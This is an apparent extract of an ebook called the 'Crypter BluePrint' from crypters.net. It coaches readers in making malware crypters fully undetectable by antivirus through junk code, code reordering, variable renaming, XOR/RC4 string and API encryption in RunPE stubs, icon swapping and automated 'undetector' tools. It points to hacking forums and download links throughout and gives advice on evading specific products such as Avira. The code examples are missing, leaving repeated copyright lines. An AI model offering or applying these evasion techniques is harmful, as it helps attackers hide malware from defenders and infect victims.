fake loops
fake if/else

Basically all junk code is, is randomized portions of regular code which you
spread across your program that can either just be in between and/or throughout
your programs code, it can deceive or confuse execution but never actually
interferes too much with the process of execution to the point where it will
corrupt.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Here are some Examples of junk sub/functions with variations of junk


variables/if-else/loops...etc Just to give you an idea...

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Heres a simple example of a Fake Call to a junk sub at beginning of sub main()
for slightly modifying execution flow

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

So be creative, use variations of techniques over variations.. develop your own


techniques from these ideas. Never stop trying things and being creative, this is
the whole journey and thrill of making Your own FUD Crypter. One example of
being creative is, you can add a whole bunch of junk subs/func...etc, into a series
of junk modules and classes with nothing else but junk in them and fake
execution.

Changing the order of all code aspects.


This is a simple example so you can get an idea. Changing the order of your code can get
very complex and is essential. If you want you can even move a whole set of functions
and subs in another module or class.. be creative.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Changing variable names


Changing variable names is highly important and must be done.
Press ctrl + H and you will see a small replace form popup. It is very important
that you dont messup the code, so always make sure you use the right options
when changing a certain variable or set of veriables in your code. For example
you could be changing a public variable which is used throughout your whole
project and without noticing, only selecting the current module option, causing
only the variables to be changed in that current module..
so always keep these things in mind when changing variables.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

String manipulation
Changing and encrypting strings/apis
Just like changing variables, changing strings can mess up your code if you
arent too cautious.. Especially when encrypting strings and apis.
Encrypting strings and apis are very powerful and is a must when it comes to
successfully creating a fully undetectable Crypter.
Some examples of string manipulation
Encrypt Strings
Reverse Strings
String conversion
There are many types of encryption algorithms to encrypt strings with for
example the most popular are xor, rc4, Rot, string to hex. A big issue most
people arent aware of is the fact that sometimes when encrypting strings with
some RunPE modules.. bad things happen, files become corrupt, the Crypter
itself can become corrupt...etc So always be cautious of your string manipulation.
There are some important strings to always make sure are changed or encrypted
in your Crypter.
The first to take note of is, The Key Split which is, in the example below:
meEncPass = thepassword. Change the string to something like:
aksefiaIUEHF@q#)*!qJFIAUEHFIwqNEOGq)#
and remember, this string has to be the same key split in both the stub project
and the crypter project or the crypter will not work and give you a subscript 9 out
of range error when running the crypted file.
The second to take note of is, all the strings in the RunPE module. 99% of the
time these have to be encrypted no matter which runPE module you use. So
always remember to encrypt these..

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

For this example we are going to use a simple Src Undetector


http://www.mediafire.com/?uzqym10ttom
(First go in the OCX folder and run the registrar, then run the program)
Before you go any further, always keep a backup of your source because some
programs will mess up your code alot.. and you might also..

1. Once downloaded and ocxs registered, Load the stub project.


2. Click one of the 3 string obfuscation buttons or right click in the project window
and select anything you want to try
3. if you encrypted the strings, remember to add the encryption function by right
clicking and selecting Add Xor Function
keep on doing it.. try many things, theres no right or wrong way pretty much.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Add or change icon


Adding or changing an icon isnt too good of an undetection technique but it can
undetect from 1 or 2 avs in some situations. Also changing an icon can corrupt
files aswell but its actually pretty rare. The reason this would happens is most
likely because the icon size is different then the size the file can handle.
it is very simple to change an icon and i can show you in a few easy steps..
If you search around you can find many icon changers easily but for this example
we will use reshacker.

1. download reshacker here: http://crypters.net/ResHacker.rar


2. drag the file you want into the window
3. Click through the icon folders until you cant anymore then Right click on icon
or icon group and click replace resource
4. simply choose the .ico (icon filetype) to replace it with.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Tools and automation


The beauty of undetection is that there are tools which automate the universal
undetection process using variations of techniques and methods. These tools are
usually referred to as, Undetectors, or src undector..etc. If you think about it..
undetectors are very similar to USGs. The only difference between a USG and a
undetector is that a USG, choosing and setting certain paramters, will undetect
and create a unique stub based on the scrambling/randomizing set of
undetection techniques in only a click of a button. The USGs comes with a
certain Crypter which it will only create unique stubs for. On the other hand, a
undetector is for undetecting actual source codes using a set of options and
techniques. These options and techniques tend to be alot more flexible
compared to USGs.
Since you now understand the basic concept of how undetection is applied, i
thought i would mention a link i found with tons of random tutorials on
undetection and automation.. the only problem is that most of them arent in
english but you may still benefit from some, heres link (tuts are in the manuals
section): http://www.level-23.org/
See you will come across valuable info like this if you just always search and
read around the different forums and remember to always download and read
more and more vb sources from vb sections of forums then modify them..etc
Heres another amazing and perfect thread with a video and download link on
using an undetector
(massive credits to Rusty)
http://www.hackforums.net/showthread.php?tid=173217&highlight=undetector

Earlier in the chapter i used a src undetector for an example of encrypting


strings. This src undetector can be used for many other undetection techniques
aswell
Heres a thread with almost all the free undetectors around.. (Sorry about those
shitcash links.. if it was my thread they wouldnt be there)
http://www.hackforums.net/showthread.php?tid=231066

If you dont want to, or cant download from those links, what i would do is search
through different forums with the names of the undetectors to see if there are any
other download links people are giving.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

you might be wondering, well what tool did i use to undetect my crypter?
I bought a pretty advanced undetector from pr!ngles on HF called pringles
undetector or src undetector for around $50 usd, i would highly recommend it but
im pretty sure he doesnt sell it anymore and also not sure if its techniques are
outdated.
Heres one of the threads with one of the versions of it (hopefully link is still alive)
http://www.hackforums.net/showthread.php?tid=220642&highlight=undetector
There should be others very similar to it or maybe even better nowdays, just
search through the sellers section of HF for undetector or something.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 7 - What you will learn from Undetecting Crypters


This is highly likely to be the most important sections in this ebook, so i advise
you to read it all.
There is no doubt you will learn alot from making and undetecting Crypters..
Everything you learn will help you along the way making things alot easier. If
some things discourage you right now, do NOT let it... just take immediate action
and start making your own right now. Use all of what i tought you and constantly
improve and add to everything. Combine methods and create your own. Once
you gain momentum and practice, the experience will pay off big time. Things will
become alot easier and you will have your own fully undetectable Crypters in no
time.
Ok now i want to let you in on some important things to keep in mind which will
help you benefit from the practice and experience you will gain.
Antivirses are alot more complex then you think.. so the main focus from
undetecting your crypters should be to always, on a consistent basis, learn and
understand more and more of how antiviruses detect and what they detect. With
this focus, you will have many realizations and insights for easily creating new
and improved techniques for bypassing certain avs. The more you learn about
the antiviruses, the easier it will be for you to undetect parts of your code that are
detected by that certain antiviruse and creating new and improved techniques
that will not only just bypass the detection but also keep the code undetected for
long periods of time from that av by creatively coming up with unique techniques
that decieve or distract antiviruses in ways that are harder for that av to detect it.
Another piece of knowledge you will come to realize is the kinds of things certain
avs will detect and the usual kind of techniques that will bypass those certain
avs
Heres a simple example alot of people can relate to,
All the people that have successfully created FUD Crypters i think, know that the
av, Avira antivir usually will detect apis in your code, and certain techniques that
will bypass this is for example, adding the callapibyname function to your code
and calling this function everytime you use the detected api.
what you should know though is that techniques that may bypass a certain av will
not ALWAYS bypass it in a month from now.. Antiviruss are constantly being
Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

updated, But just because they are constantly being updated, dont let that
discourage you because usually a simple tweek to the method that worked a
month ago can work now and easily bypass the new detection, This is why you
must always be creative and learn from how the certain av works, what they
detect, and how they detect because it will help you GREATLY

keeping your Crypters undetected


Now that you understand the huge importance of learning and understanding
antiviruss. Lets dive into how you can keep your Crypter undetected.
Ok so hopefully you already know that antiviruss are constantly being updated
everyday, adding signatures and changing algorithms. This will not stop the
average hacker though.. :) with all the communities and forum members working
together, the Antivirus vs Crypter concept will never end. Hackers seem to have
always been the most creative and intelligent among the rest.
Ok so now i will tell you the approach to take for keeping your Crypters
undetected. Basically, i would first encourage you to always read up on new
posts and sources in the coding sections of these forums,
http://hackforums.net
http://hackhound.org
http://opensc.ws
Now here is probably the best advice anyone has ever give you,
The best way to keep up to date with undetection and antiviruss aswell as learn
which techniques and methods are appropriate and best for certain avs, is to
check up and read through as much as you can of:
http://hackhound.org
Undetection Techniques sub-section in the malware analysis section
And

Detection Thread sub-section of the


Basic section (Hack Hound Programming Basic The Detection Thread) You have to
Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

register in order to view these

This section is undetection heaven.. people tell you and help eachother bypass
detections. In this section, lights will start flashing in your head, insights will
arise, and ideas will spark. Read through as many threads and pages as you
possibly can of undetection and malware on hackhound
Here another tactic to keep in mind.. basically WHENEVER a detection comes
up and you are stuck, search hackhound with variations of keywords related to
the av detecting it and the part of the code being detected for example,
copybytes avira which is referring to the api copybytes thats being detected and
avira being the av detecting it. Also what you can also do is just search with
variations of these same keywords related to your situation and search google..
or any other forum, you never know what you will find. I have had so many
detections solved from just doing extensive searching.
Goodluck.

Resources
If you have questions about something or want to learn more always refer to, and
search through
http://hackforums.net

http://hackhound.org
http://www.opensc.ws

Crypter sources, http://crypters.net/crypter-sources/


Source Undetectors http://www.hackforums.net/showthread.php?tid=231066
ResHacker http://crypters.net/ResHacker.rar
Awesome blog with awesome code http://www.advancevb.com.ar/

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

What did you think of the Crypter BluePrint?


Do you have any questions or suggestions for the Crypter Blueprint?
Please Go to this link to tell me so I can make it better,
http://www.surveymonkey.com/s/XKSVMBJ

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Das könnte Ihnen auch gefallen